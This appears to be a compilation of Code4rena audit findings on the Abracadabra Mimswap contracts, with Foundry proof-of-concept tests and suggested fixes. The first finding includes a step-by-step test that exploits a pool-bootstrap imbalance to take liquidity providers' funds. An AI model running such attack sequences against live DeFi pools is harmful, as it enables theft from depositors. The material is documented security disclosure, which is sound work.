Abracadabra Mimswap - ether_sky's results

Judge has assessed an item in Issue #133 as 3 risk. The relevant finding follows:

Ensure to call the _twapUpdate function before making any changes to the reserves.

Lines of code

https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/blast/BlastOnboarding.sol#L104-L106 https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/blast/BlastOnboardingBoot.sol#L101-L106 https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/periphery/Router.sol#L68-L70 https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/MagicLP.sol#L381-L383 https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/MagicLP.sol#L381-L383 https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/MagicLP.sol#L171 https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/libraries/PMMPricing.sol#L194-L199 https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/libraries/PMMPricing.sol#L59-L63

Vulnerability details

Impact

Users can deposit MIM and USDB tokens into BlastOnboarding. Once locked, these tokens cannot be unlocked. The locked tokens will be utilized to establish a MagicLP MIM/USDB pool through bootstrap. Although the prices of MIM and USDB tokens are nearly identical, there is no assurance regarding the locked amounts of MIM and USDB tokens. Significant differences between the locked amounts may exist. Depending on this difference, the K value, and the chosen funds by the attacker, substantial funds can be stolen.

The vulnerability stems from the createPool function in the Router. Consequently, any user who creates a MagicLP pool using this function is susceptible to fund loss.

Proof of Concept

Users can deposit and lock MIM and USDB tokens into BlastOnboarding.

function deposit(address token, uint256 amount, bool lock_) external whenNotPaused onlyState(State.Opened) onlySupportedTokens(token) {
    token.safeTransferFrom(msg.sender, address(this), amount);

    if (lock_) {
        totals[token].locked += amount;
        balances[msg.sender][token].locked += amount;
    }
}

These tokens cannot be unlocked. They will be used to create a MagicLP MIM/USDB pool during bootstrap.

function bootstrap(uint256 minAmountOut) external onlyOwner onlyState(State.Closed) returns (address, address, uint256) {
    uint256 baseAmount = totals[MIM].locked;
    uint256 quoteAmount = totals[USDB].locked;
    MIM.safeApprove(address(router), type(uint256).max);
    USDB.safeApprove(address(router), type(uint256).max);

    (pool, totalPoolShares) = router.createPool(MIM, USDB, FEE_RATE, I, K, address(this), baseAmount, quoteAmount);
}

All locked tokens are utilized; there is no way to use only a portion of them. Additionally, there is no assurance that the locked amounts of MIM and USDB will be identical.

Just check the comment below, which originates from the testBoot function in the protocol. It indicates a variance between the locked amounts. In actual scenarios, this difference can be substantial.

mimBalanceLp  2,119,631.389084817485854616
usdbBalanceLp 2,304,028.663685524363161291

The problem arises from creating a pool using the createPool function in the router. Any user who creates a pool via this function risks losing their funds.

When creating a MagicLP using this function, we send all tokens to the Pool and purchase shares.

function createPool()  external returns (address clone, uint256 shares) {
    baseToken.safeTransferFrom(msg.sender, clone, baseInAmount);
    quoteToken.safeTransferFrom(msg.sender, clone, quoteInAmount);
    (shares, , ) = IMagicLP(clone).buyShares(to);
}

In the buyShares function, we also take into account the price of both tokens. We calculate the shares as the minimum of base and quote tokens and update the targets accordingly. This implies that the target of one token can be lower than its reserve.

function buyShares(address to) external nonReentrant returns (uint256 shares, uint256 baseInput, uint256 quoteInput) {
    if (totalSupply() == 0) {
        shares = quoteBalance < DecimalMath.mulFloor(baseBalance, _I_) ? DecimalMath.divFloor(quoteBalance, _I_) : baseBalance;
        _BASE_TARGET_ = shares.toUint112();
        _QUOTE_TARGET_ = DecimalMath.mulFloor(shares, _I_).toUint112();
    }
}

We might believe that this only affects the initial shares value and poses no vulnerability. However, in reality, it provides an opportunity for a malicious user to steal funds.

Attack Scenario

1. The initial user (BlastOnboarding in our case) creates a pool with 1000 MIM and 3000 USDB.

2. Afterward, the reserve and targets for the base and quote tokens will be as follows:

base reserve    ==>   1,000.000000000000000000
base target     ==>   1,000.000000000000000000
quote reserve   ==>   3,000.000000000000000000
quote target    ==>   1,000.000000000000000000

As you can see, the target of the quote token is lower than its reserve.

3. The attacker sells 1000 USDB, causing the state to transition to ABOVE_ONE because the base reserve becomes lower than the target.

**** After selling the Quote token ****
base reserve    ==>   21.969428421231012680
base target     ==>   1,000.000000000000000000
quote reserve   ==>   4,000.000000000000000000
quote target    ==>   1,000.000000000000000000

4. Before selling base tokens, we calculate the internal base target.

function querySellBase(
    address trader,
    uint256 payBaseAmount
) public view returns (uint256 receiveQuoteAmount, uint256 mtFee, 
    PMMPricing.RState newRState, uint256 newBaseTarget) {
        PMMPricing.PMMState memory state = getPMMState();
}

5. The quote reserve significantly exceeds its target, causing the internal base target to potentially become large. This occurs because the current state is ABOVE_ONE, and we anticipate reaching the base target by selling all excess quote tokens (reserve - target).

 function adjustedTarget(PMMState memory state) internal pure {
    if (state.R == RState.BELOW_ONE) {
        state.Q0 = Math._SolveQuadraticFunctionForTarget(state.Q, state.B - state.B0, state.i, state.K);
    } else if (state.R == RState.ABOVE_ONE) {
        state.B0 = Math._SolveQuadraticFunctionForTarget(
            state.B,
            state.Q - state.Q0,
            DecimalMath.reciprocalFloor(state.i),
            state.K
        );
    }
}

We can check this value in the below comment

**** Prior to selling the Base token ****
changed base target   ==>   2841093923465485694661

6. Furthermore, in this state, the price of the base token is higher than the normal price, implying that we can sell a considerable amount of base tokens at a higher price.

function sellBaseToken(PMMState memory state, uint256 payBaseAmount) internal pure returns (uint256 receiveQuoteAmount, RState newR) {
    if (state.R == RState.ONE) {
    } else if (state.R == RState.ABOVE_ONE) {
        uint256 backToOnePayBase = state.B0 - state.B;
        uint256 backToOneReceiveQuote = state.Q - state.Q0;
        if (payBaseAmount < backToOnePayBase) {
                
        } else if (payBaseAmount == backToOnePayBase) {
            receiveQuoteAmount = backToOneReceiveQuote;
            newR = RState.ONE;
        }
    }
}

We can sell state.B0 - state.B (2841 - 21) base tokens for state.Q - state.Q0 (4000 - 1000) quote tokens.

The net benefit for an attacker is 158 MIM from the initial 1000 MIM tokens. This represents the loss of users.

Benefits for Bob  ==>   158.606076534514305339
Loss of protocol  ==>   158.606076534514305339

Please add below test into MIMSwap.t.sol. I used WETH instead of USDB for testing purposes and assumed that the price of both tokens is the same.

import {PMMPricing} from "/mimswap/libraries/PMMPricing.sol";

function testBenefitFromBoot() public {
        uint256 mimLocked = 1000 ether;
        uint256 usdbLocked = 3000 ether;
        mim.mint(address(alice), mimLocked);
        deal(address(weth), address(alice), usdbLocked);

        vm.startPrank(alice);
        mim.approve(address(router), mimLocked);
        weth.approve(address(router), usdbLocked);
        /**
         * uint256 baseAmount = totals[MIM].locked;
         * uint256 quoteAmount = totals[USDB].locked;
         * (pool, totalPoolShares) = router.createPool(MIM, USDB, FEE_RATE, I, K, address(this), baseAmount, quoteAmount);
         */
        (address pool, ) = router.createPool(address(mim), address(weth), MIN_LP_FEE_RATE, 1 ether, 500000000000000, address(alice), mimLocked, usdbLocked);
        MagicLP lp = MagicLP(pool);
        vm.stopPrank();

        console2.log("**** Starting state ****");
        console2.log('base reserve    ==>  ', toolkit.formatDecimals(lp._BASE_RESERVE_()));
        console2.log('base target     ==>  ', toolkit.formatDecimals(lp._BASE_TARGET_()));
        console2.log('quote reserve   ==>  ', toolkit.formatDecimals(lp._QUOTE_RESERVE_()));
        console2.log('quote target    ==>  ', toolkit.formatDecimals(lp._QUOTE_TARGET_()));

        bool isForTesting = true;
        uint256 wethForBob = 1000 ether;

        if (isForTesting) {            
            deal(address(weth), address(bob), wethForBob);
            vm.startPrank(bob);
            weth.approve(address(router), wethForBob);
            router.sellQuoteTokensForTokens(address(lp), bob, wethForBob, 0, type(uint256).max);
            vm.stopPrank();
        } else {
            mim.mint(bob, 0.1 ether);
            deal(address(weth), address(bob), 0.1 ether);
            vm.startPrank(bob);
            mim.approve(address(router), 0.1 ether);
            router.sellBaseTokensForTokens(address(lp), bob, 0.1 ether, 0, type(uint256).max);
            weth.approve(address(router), 0.1 ether);
            router.sellQuoteTokensForTokens(address(lp), bob, 0.1 ether, 0, type(uint256).max);
            vm.stopPrank();
        }

        console2.log("**** After selling the Quote token ****");
        console2.log('base reserve    ==>  ', toolkit.formatDecimals(lp._BASE_RESERVE_()));
        console2.log('base target     ==>  ', toolkit.formatDecimals(lp._BASE_TARGET_()));
        console2.log('quote reserve   ==>  ', toolkit.formatDecimals(lp._QUOTE_RESERVE_()));
        console2.log('quote target    ==>  ', toolkit.formatDecimals(lp._QUOTE_TARGET_()));

        if (isForTesting) {
            PMMPricing.PMMState memory state = lp.getPMMState();
            console2.log("**** Prior to selling the Base token ****");
            console2.log("changed base target   ==>  ", state.B0);
            // Bob is going to sell state.B0 - state.B base tokens
            uint256 mimForSell = state.B0 - state.B;

            mim.mint(address(bob), mimForSell);
            vm.startPrank(bob);
            mim.approve(address(router), mimForSell);
            router.sellBaseTokensForTokens(address(lp), bob, mimForSell, 0, type(uint256).max);
            vm.stopPrank();

            // Initially, Bob possesses wethForBob USDB and mimForSell MIM tokens
            console2.log('Benefits for Bob  ==>  ', toolkit.formatDecimals(mim.balanceOf(bob) + weth.balanceOf(bob) - mimForSell - wethForBob));
            // Users deposited usdbLocked USDB and mimLocked MIM tokens
            console2.log('Loss of protocol  ==>  ', toolkit.formatDecimals(mimLocked + usdbLocked - mim.balanceOf(address(lp)) - weth.balanceOf(address(lp))));
        }
}

Tools Used

Recommended Mitigation Steps

We should ensure that the targets and reserves are the same for the first depositor. This can be directly changed in the buyShares function. Alternatively, we can implement small swaps twice in the createPool function. You could verify this in the above test file by setting isForTesting to false.

After performing 2 small swaps, the targets and reserves become as follows:

base reserve    ==>   1,000.000009998331296597
base target     ==>   1,000.000000000000000000
quote reserve   ==>   3,000.000010004999999500
quote target    ==>   3,000.000010003331129210

Assessed type

Error

Lines of code

https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/periphery/Router.sol#L170 https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/periphery/Router.sol#L509-L539

Vulnerability details

Impact

When users add liquidity to the MagicLP, both the base and quote tokens are added in the same ratio. Consequently, users receive shares in the same ratio, potentially resulting in one of the tokens(amount exceeded beyond the ratio) being added without any corresponding shares. To prevent this loss, the router provides the addLiquidity function. This function adjusts the base and quote token amounts to maintain the same ratio, thereby helping users avoid fund loss.

However, in some cases, these adjusted amounts can exceed the inputs provided by the user. This means that the user's transaction will be reverted if they approve the exact input amount for the router or add more tokens than expected if they approve large amounts for the router. As a result, users may incur gas fees without understanding why their transaction is being reverted, leading to frustration and potential loss of funds. This is clearly a bug that needs to be addressed.

Proof of Concept

When users add liquidity using the addLiquidity function, we initially adjust the base and quote amounts.

function addLiquidity() external ensureDeadline(deadline) returns (uint256 baseAdjustedInAmount, uint256 quoteAdjustedInAmount, uint256 shares) {
    (baseAdjustedInAmount, quoteAdjustedInAmount) = _adjustAddLiquidity(lp, baseInAmount, quoteInAmount);
    IMagicLP(lp)._BASE_TOKEN_().safeTransferFrom(msg.sender, lp, baseAdjustedInAmount);
    IMagicLP(lp)._QUOTE_TOKEN_().safeTransferFrom(msg.sender, lp, quoteAdjustedInAmount);

    shares = _addLiquidity(lp, to, minimumShares);
}

In most cases, we believe that these adjusted amounts are less than the input amounts and that these adjusted values maintain the same ratio for both the base and quote tokens.

However, in some cases, these adjusted amounts can exceed the input amounts, leading to transaction reversals or users adding more liquidity than intended.

function _adjustAddLiquidity(
    address lp,
    uint256 baseInAmount,
    uint256 quoteInAmount
) internal view returns (uint256 baseAdjustedInAmount, uint256 quoteAdjustedInAmount) {
@1:        (uint256 baseReserve, uint256 quoteReserve) = IMagicLP(lp).getReserves();
@2:        uint256 baseBalance = IMagicLP(lp)._BASE_TOKEN_().balanceOf(address(lp)) + baseInAmount;
        uint256 quoteBalance = IMagicLP(lp)._QUOTE_TOKEN_().balanceOf(address(lp)) + quoteInAmount;

@3:        baseInAmount = baseBalance - baseReserve;
        quoteInAmount = quoteBalance - quoteReserve;

        if (IERC20(lp).totalSupply() == 0) {
            uint256 i = IMagicLP(lp)._I_();
            uint256 shares = quoteInAmount < DecimalMath.mulFloor(baseInAmount, i) ? DecimalMath.divFloor(quoteInAmount, i) : baseInAmount;
            baseAdjustedInAmount = shares;
            quoteAdjustedInAmount = DecimalMath.mulFloor(shares, i);
        } else {
            if (quoteReserve > 0 && baseReserve > 0) {
                uint256 baseIncreaseRatio = DecimalMath.divFloor(baseInAmount, baseReserve);
                uint256 quoteIncreaseRatio = DecimalMath.divFloor(quoteInAmount, quoteReserve);
                if (baseIncreaseRatio <= quoteIncreaseRatio) {
@4:                    baseAdjustedInAmount = baseInAmount;
                    quoteAdjustedInAmount = DecimalMath.mulFloor(quoteReserve, baseIncreaseRatio);
                } else {
                    quoteAdjustedInAmount = quoteInAmount;
                    baseAdjustedInAmount = DecimalMath.mulFloor(baseReserve, quoteIncreaseRatio);
                }
            }
        }
}

@1: We fetch the current reserve of the pool. @2: Calculate the base balance of the pool after these inputs are added. @3: Determine the input amount by taking the difference between the balance and the reserve. One important thing to note here is that there may be differences between the reserve and actual balances in the pool. One way to create this scenario is by donating extremely small tokens to the pool. @4: Adjust the input amount. The adjusted amount can become larger when the original balance exceeds the reserve, and our input amounts increases as this gap.

In the test below, the balance becomes larger than reserves by donating small amounts of tokens. The reserves will be set as the current balance when there is trading in the pool. Before that, this inconsistency will exist for some period. During this period, the user tries to add liquidity, but it fails due to the adjusted amount becoming larger.

baseInAmount            ==>   1000000000000000000
baseAdjustedInAmount    ==>   1010000000000000000
quoteInAmount           ==>   2000000000000000000
quoteAdjustedInAmount   ==>   1010000000000000000

Users can also check these adjusted amounts using the previewAddLiquidity function prior to adding liquidity and insert these values as input values. However, these inputs will also be adjusted again, potentially leading to the transaction being reverted.

baseAdjustedInAmount        ==>   1010000000000000000
baseAdjustedInAmountAgain   ==>   1020000000000000000
quoteAdjustedInAmount       ==>   1010000000000000000
quoteAdjustedInAmountAgain  ==>   1020000000000000000

Please add below test into MIMSwap.t.sol.

function testAddLiquidityRevert() public {
        MagicLP lp = newMagicLP();
        lp.init(address(mim), address(weth), MIN_LP_FEE_RATE, address(feeRateModel), 1 ether, 500000000000000);
        mim.mint(address(alice), 5 ether);
        deal(address(weth), address(alice), 5 ether);

        mim.mint(address(bob), 0.01 ether);
        deal(address(weth), address(bob), 0.01 ether);

        vm.startPrank(alice);
        mim.approve(address(router), 2 ether);
        weth.approve(address(router), 2 ether);
        router.addLiquidity(address(lp), alice, 2 ether, 2 ether, 0, type(uint256).max);
        vm.stopPrank();

        vm.startPrank(bob);
        mim.transfer(address(lp), 0.01 ether);
        weth.transfer(address(lp), 0.01 ether);
        vm.stopPrank();

        uint256 baseInAmount = 1 ether;
        uint256 quoteInAmount = 2 ether;

        vm.startPrank(alice);
        mim.approve(address(router), baseInAmount);
        weth.approve(address(router), quoteInAmount);
        vm.expectRevert(abi.encodeWithSignature("TransferFromFailed()"));
        router.addLiquidity(address(lp), alice, baseInAmount, quoteInAmount, 0, type(uint256).max);
        vm.stopPrank();

        (uint256 mimAdjusted, uint256 wethAdjusted, ) = router.previewAddLiquidity(address(lp), baseInAmount, quoteInAmount);

        console.log('baseInAmount            ==>  ', baseInAmount);
        console.log('baseAdjustedInAmount    ==>  ', mimAdjusted);
        console.log('quoteInAmount           ==>  ', quoteInAmount);
        console.log('quoteAdjustedInAmount   ==>  ', wethAdjusted);

        vm.startPrank(alice);
        mim.approve(address(router), mimAdjusted);
        weth.approve(address(router), wethAdjusted);
        vm.expectRevert(abi.encodeWithSignature("TransferFromFailed()"));
        router.addLiquidity(address(lp), alice, mimAdjusted, wethAdjusted, 0, type(uint256).max);
        vm.stopPrank();

        (uint256 mimAdjustedAgain, uint256 wethAdjustedAgain, ) = router.previewAddLiquidity(address(lp), mimAdjusted, wethAdjusted);
        console.log("****************");
        console.log('baseAdjustedInAmount        ==>  ', mimAdjusted);
        console.log('baseAdjustedInAmountAgain   ==>  ', mimAdjustedAgain);
        console.log('quoteAdjustedInAmount       ==>  ', wethAdjusted);
        console.log('quoteAdjustedInAmountAgain  ==>  ', wethAdjustedAgain);
}

Tools Used

Recommended Mitigation Steps

function _adjustAddLiquidity(
        address lp,
        uint256 baseInAmount,
        uint256 quoteInAmount
    ) internal view returns (uint256 baseAdjustedInAmount, uint256 quoteAdjustedInAmount) {
        (uint256 baseReserve, uint256 quoteReserve) = IMagicLP(lp).getReserves();
        uint256 baseBalance = IMagicLP(lp)._BASE_TOKEN_().balanceOf(address(lp)) + baseInAmount;
        uint256 quoteBalance = IMagicLP(lp)._QUOTE_TOKEN_().balanceOf(address(lp)) + quoteInAmount;

        baseInAmount = baseBalance - baseReserve;
        quoteInAmount = quoteBalance - quoteReserve;

        if (IERC20(lp).totalSupply() == 0) {
            uint256 i = IMagicLP(lp)._I_();
            uint256 shares = quoteInAmount < DecimalMath.mulFloor(baseInAmount, i) ? DecimalMath.divFloor(quoteInAmount, i) : baseInAmount;
            baseAdjustedInAmount = shares;
            quoteAdjustedInAmount = DecimalMath.mulFloor(shares, i);
        } else {
            if (quoteReserve > 0 && baseReserve > 0) {
                uint256 baseIncreaseRatio = DecimalMath.divFloor(baseInAmount, baseReserve);
                uint256 quoteIncreaseRatio = DecimalMath.divFloor(quoteInAmount, quoteReserve);
                if (baseIncreaseRatio <= quoteIncreaseRatio) {
                    baseAdjustedInAmount = baseInAmount;
                    quoteAdjustedInAmount = DecimalMath.mulFloor(quoteReserve, baseIncreaseRatio);
                } else {
                    quoteAdjustedInAmount = quoteInAmount;
                    baseAdjustedInAmount = DecimalMath.mulFloor(baseReserve, quoteIncreaseRatio);
                }
            }
        }

+        if (baseAdjustedInAmount + baseReserve > IMagicLP(lp)._BASE_TOKEN_().balanceOf(address(lp))) {
+            baseAdjustedInAmount = baseAdjustedInAmount + baseReserve - IMagicLP(lp)._BASE_TOKEN_().balanceOf(address(lp));
+        } else {
+            baseAdjustedInAmount = 0;
+        }

+        if (quoteAdjustedInAmount + quoteReserve > IMagicLP(lp)._QUOTE_TOKEN_().balanceOf(address(lp))) {
+            quoteAdjustedInAmount = quoteAdjustedInAmount + quoteReserve - IMagicLP(lp)._QUOTE_TOKEN_().balanceOf(address(lp));
+        } else {
+            quoteAdjustedInAmount = 0;
+        }
}

By doing this, users can utilize the donated tokens, if available. Also fix the previewAddLiquidity function.

Assessed type

Error

This means that the user's transaction will be reverted if they approve the exact input amount for the router or 
add more tokens than expected if they approve large amounts for the router.

Lines of code

https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/MagicLP.sol#L163-L165 https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/oracles/aggregators/MagicLpAggregator.sol#L37-L46

Vulnerability details

Impact

We can know that the MagicLpAggregator can serve as the price source for MagicLP shares when the prices of base and quote tokens are similar.

MagicLpAggregator would be used to price MagicLP collateral for Cauldrons. 
Something to note is that the MagicLP Oracle is only meant for closed-together price pool. 
It's just that the oracle is not meant to be used for any kind of MagicLP, just for closely priced tokens like MIM/USDB.

There's no assurance that we can use MagicLpAggregator for base and quote tokens with only 18 decimals. The MagicLP token has the same decimal as the base token. However, the MagicLpAggregator does not account for this decimal, resulting in incorrect prices when the decimal of the base token is not 18.

Proof of Concept

The MagicLP has the same decimal as the base token.

function decimals() public view override returns (uint8) {
    return IERC20Metadata(_BASE_TOKEN_).decimals();
}

In MagicLpAggregator, we take into account the decimals of the base oracle, quote oracle, base tokens, and quote tokens, but we skip the MagicLP.

function latestAnswer() public view override returns (int256) {
        uint256 baseAnswerNomalized = uint256(baseOracle.latestAnswer()) * (10 ** (WAD - baseOracle.decimals()));
        uint256 quoteAnswerNormalized = uint256(quoteOracle.latestAnswer()) * (10 ** (WAD - quoteOracle.decimals()));
        uint256 minAnswer = baseAnswerNomalized < quoteAnswerNormalized ? baseAnswerNomalized : quoteAnswerNormalized;

        (uint256 baseReserve, uint256 quoteReserve) = _getReserves();
        baseReserve = baseReserve * (10 ** (WAD - baseDecimals));
        quoteReserve = quoteReserve * (10 ** (WAD - quoteDecimals));
        return int256(minAnswer * (baseReserve + quoteReserve) / pair.totalSupply());
}

As a result, the above function will yield an incorrect price when the decimal of the base token is not 18.

Let's consider an example where the decimal of the base token is 12 and the decimal of the quote token is 18. Additionally, the decimal of the base oracle is 8, and the decimal of the quote oracle is 12. We'll assume that the price of both tokens is 4 USD. The prices in 18 decimals will be as follows:

base oracle answer           ==>   400000000            (8 decimals)
quote roacle answer          ==>   4000000000000        (12 decimals)
base oracle answer in WAD    ==>   4000000000000000000  (18 decimals)
quote oracle answer in WAD   ==>   4000000000000000000  (18 decimals)

And there are 5 base tokens and 5 quote tokens in the pool. The reserves in 18 decimals will be as follows:

base reserves                ==>   5000000000000        (12 decimals)
quote reserves               ==>   5000000000000000000  (18 decimals)
base reserves in WAD         ==>   5000000000000000000  (18 decimals)
quote reserves in WAD        ==>   5000000000000000000  (18 decimals)

Let's assume the total share of this pool is 5.

Given that the price of the base and quote tokens is 4 USD, the total value of all tokens will be 40 USD.

total usd                     ==>   40000000 6
total supply                  ==>   5000000000000 12

With 5 shares representing 40 USD, the price of one share should be 8 USD. However, the MagicLpAggregator returns 8,000,000 USD because it did not consider the decimal of MagicLP.

correct answer               ==>   8000000000000000000        (18 decimals)
answer of aggregator         ==>   8000000000000000000000000  (18 decimals)

Add below two mock files into test/mocks.

pragma solidity ^0.8.13;

import {IAggregator} from "interfaces/IAggregator.sol";

contract OracleMock is IAggregator {
  uint8 public decimals_;
  uint8 public price_;

  constructor(uint8 _decimals, uint8 _price) {
    decimals_ = _decimals;
    price_ = _price;
  }

  function decimals() external view override returns (uint8) {
    return decimals_;
  }

  function latestAnswer() public view override returns (int256) {
    return int256(price_ * 10 ** decimals_);
  }

  function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
    return (0, latestAnswer(), 0, 0, 0);
  }
}

pragma solidity ^0.8.13;

import { IMagicLP } from "/mimswap/interfaces/IMagicLP.sol";
import { ERC20Mock } from "./ERC20Mock.sol";

contract MagicLPMock is IMagicLP {
  address public _BASE_TOKEN_;
  address public _QUOTE_TOKEN_;
  uint112 public _BASE_RESERVE_;
  uint112 public _QUOTE_RESERVE_;

  constructor(ERC20Mock BASE_TOKEN, ERC20Mock QUOTE_TOKEN) {
    _BASE_TOKEN_ = address(BASE_TOKEN);
    _QUOTE_TOKEN_ = address(QUOTE_TOKEN);
    _BASE_RESERVE_ = uint112(5 * 10 ** ERC20Mock(_BASE_TOKEN_).decimals());
    _QUOTE_RESERVE_ = uint112(5 * 10 ** ERC20Mock(_QUOTE_TOKEN_).decimals());
  }

  function _BASE_TARGET_() external view returns (uint112) {
    return _BASE_RESERVE_;
  }

  function _QUOTE_TARGET_() external view returns (uint112) {
    return _QUOTE_RESERVE_;
  }

  function _I_() external view returns (uint256) {
    return 1 ether;
  }

  function decimals() public view returns (uint8) {
    return ERC20Mock(_BASE_TOKEN_).decimals();
  }

  function getReserves() external view returns (uint256 baseReserve, uint256 quoteReserve) {
    baseReserve = _BASE_RESERVE_;
    quoteReserve = _QUOTE_RESERVE_;
  }

  function getVaultReserve() external view returns (uint256 baseReserve, uint256 quoteReserve) {
    baseReserve = _BASE_RESERVE_;
    quoteReserve = _QUOTE_RESERVE_;
  }

  function totalSupply() external view returns (uint256 totalSupply) {
    totalSupply = 5 * 10 ** decimals();
  }

  function init(
    address baseTokenAddress,
    address quoteTokenAddress,
    uint256 lpFeeRate,
    address mtFeeRateModel,
    uint256 i,
    uint256 k
  ) external {}

  function sellBase(address to) external returns (uint256 receiveQuoteAmount) {}
  function sellQuote(address to) external returns (uint256 receiveBaseAmount) {}
  function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external {}
  function buyShares(address to) external returns (uint256 shares, uint256 baseInput, uint256 quoteInput) {}
  function sellShares(
    uint256 shareAmount,
    address to,
    uint256 baseMinAmount,
    uint256 quoteMinAmount,
    bytes calldata data,
    uint256 deadline
  ) external returns (uint256 baseAmount, uint256 quoteAmount) {}
  function MIN_LP_FEE_RATE() external view returns (uint256) {}
  function MAX_LP_FEE_RATE() external view returns (uint256) {}
}

Finally please add below test into MagicLpAggregator.t.sol

import "forge-std/console2.sol";
import { OracleMock } from "./mocks/OracleMock.sol";
import { ERC20Mock } from "./mocks/ERC20Mock.sol";
import { MagicLPMock } from "./mocks/MagicLPMock.sol";

function testOracleDecimals() public {
        IAggregator baseOracle = new OracleMock(8, 4);
        IAggregator quoteOracle = new OracleMock(12, 4);

        ERC20Mock BASE_TOKEN = new ERC20Mock("base", "base");
        ERC20Mock QUOTE_TOKEN = new ERC20Mock("quote", "quote");

        BASE_TOKEN.setDecimals(12);

        MagicLPMock lp = new MagicLPMock(BASE_TOKEN, QUOTE_TOKEN);

        MagicLpAggregatorExt mlAggregator = new MagicLpAggregatorExt(
            lp,
            baseOracle,
            quoteOracle
        );

        uint256 baseOracleAnswerIn18 = uint256(baseOracle.latestAnswer()) * 10 ** (18 - baseOracle.decimals());
        uint256 quoteOracleAnswerIn18 = uint256(quoteOracle.latestAnswer()) * 10 ** (18 - quoteOracle.decimals());
        console2.log('base oracle answer           ==>  ', baseOracle.latestAnswer());
        console2.log('quote roacle answer          ==>  ', quoteOracle.latestAnswer());
        console2.log('base oracle answer in WAD    ==>  ', baseOracleAnswerIn18);
        console2.log('quote oracle answer in WAD   ==>  ', quoteOracleAnswerIn18);

        console2.log("");
        console2.log("**************");
        console2.log("");
        (uint256 baseReserves, uint256 quoteReserves) = lp.getReserves();
        uint256 baseReservesIn18 = baseReserves * 10 ** (18 - BASE_TOKEN.decimals());
        uint256 quoteReservesIn18 = quoteReserves * 10 ** (18 - QUOTE_TOKEN.decimals());
        console2.log('base reserves                ==>  ', baseReserves);
        console2.log('quote reserves               ==>  ', quoteReserves);
        console2.log('base reserves in WAD         ==>  ', baseReservesIn18);
        console2.log('quote reserves in WAD        ==>  ', quoteReservesIn18);

        console2.log("");
        console2.log("**************");
        console2.log("");
        uint8 decimalsOfUsd = 6;
        uint256 totalInUsd = (baseOracleAnswerIn18 * (baseReservesIn18 + quoteReservesIn18) / (10 ** 18) / (10 ** 18)) * 10 ** 6;
        console.log('total usd                     ==>  ', totalInUsd, decimalsOfUsd);

        uint256 totalSupply = lp.totalSupply();
        uint8 decimalsOfLp = lp.decimals();
        console.log('total supply                  ==>  ', totalSupply, decimalsOfLp);

        console2.log("");
        console2.log("**************");
        console2.log("");
        uint256 correctAnswer = (totalInUsd / (10 ** decimalsOfUsd)) / (totalSupply / (10 ** decimalsOfLp)) * 10 ** 18;
        console2.log('correct answer               ==>  ', correctAnswer);
        console2.log('answer of aggregator         ==>  ', uint256(mlAggregator.latestAnswer()));
}

Tools Used

Recommended Mitigation Steps

function latestAnswer() public view override returns (int256) {
        uint256 baseAnswerNomalized = uint256(baseOracle.latestAnswer()) * (10 ** (WAD - baseOracle.decimals()));
        uint256 quoteAnswerNormalized = uint256(quoteOracle.latestAnswer()) * (10 ** (WAD - quoteOracle.decimals()));
        uint256 minAnswer = baseAnswerNomalized < quoteAnswerNormalized ? baseAnswerNomalized : quoteAnswerNormalized;

        (uint256 baseReserve, uint256 quoteReserve) = _getReserves();
        baseReserve = baseReserve * (10 ** (WAD - baseDecimals));
        quoteReserve = quoteReserve * (10 ** (WAD - quoteDecimals));

+        uint256 totalSupply = pair.totalSupply() * (10 ** (WAD - baseDecimals));

-        return int256(minAnswer * (baseReserve + quoteReserve) / 
pair.totalSupply());
+        return int256(minAnswer * (baseReserve + quoteReserve) / 
totalSupply);
}

Assessed type

Decimal

Judge has assessed an item in Issue #133 as 2 risk. The relevant finding follows:

L-2] The cap can be associated with locked tokens in the BlastOnboarding contract.

[L-1] Disable the stakeFor function when the system is paused.

In the LockingMultiRewards contract, users cannot stake when the system is paused. https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/staking/LockingMultiRewards.sol#L150

function stake(uint256 amount, bool lock_) public whenNotPaused {
    _stakeFor(msg.sender, amount, lock_);
}

Additionally, users cannot lock already deposited tokens when the system is paused. https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/staking/LockingMultiRewards.sol#L155

function lock(uint256 amount) public whenNotPaused {
}

All operations should be disabled when the system is paused. However, operators can still stake for other users when the system is paused. https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/staking/LockingMultiRewards.sol#L349-L351

function stakeFor(address account, uint256 amount, bool lock_) external onlyOperators {
    _stakeFor(account, amount, lock_);
}

Should include the whenNotPaused modifier.

- function stakeFor(address account, uint256 amount, bool lock_) external onlyOperators {
+ function stakeFor(address account, uint256 amount, bool lock_) external onlyOperators whenNotPaused  {
    _stakeFor(account, amount, lock_);
}

[L-2] The cap can be associated with locked tokens in the BlastOnboarding contract.

